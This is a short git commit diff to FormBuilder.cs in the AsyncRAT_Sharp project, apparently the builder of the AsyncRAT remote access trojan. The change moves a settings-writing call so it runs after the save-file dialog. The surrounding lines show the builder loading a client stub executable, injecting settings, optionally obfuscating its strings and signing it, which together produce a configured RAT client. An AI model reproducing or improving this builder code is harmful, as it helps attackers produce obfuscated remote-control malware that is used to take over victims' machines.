Update FormBuilder.cs
This commit is contained in:
parent
13c0db79ab
commit
74b2467b75
@ -187,9 +187,6 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
using (ModuleDefMD asmDef = ModuleDefMD.Load(@"Stub/Stub.exe"))
|
using (ModuleDefMD asmDef = ModuleDefMD.Load(@"Stub/Stub.exe"))
|
||||||
{
|
|
||||||
WriteSettings(asmDef);
|
|
||||||
|
|
||||||
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
|
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
|
||||||
{
|
{
|
||||||
saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
|
saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
|
||||||
@ -198,6 +195,7 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
saveFileDialog1.FileName = "Client";
|
saveFileDialog1.FileName = "Client";
|
||||||
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
|
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
|
||||||
{
|
{
|
||||||
|
WriteSettings(asmDef);
|
||||||
if (chkObfu.Checked)
|
if (chkObfu.Checked)
|
||||||
{
|
{
|
||||||
EncryptString.DoEncrypt(asmDef);
|
EncryptString.DoEncrypt(asmDef);
|
||||||
@ -219,7 +217,6 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||||
@ -327,8 +324,6 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
|
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
foreach (TypeDef type in asmDef.Types)
|
foreach (TypeDef type in asmDef.Types)
|
||||||
{
|
{
|
||||||
if (type.Name == "Settings")
|
if (type.Name == "Settings")
|
||||||
|
Loading…
x
Reference in New Issue
Block a user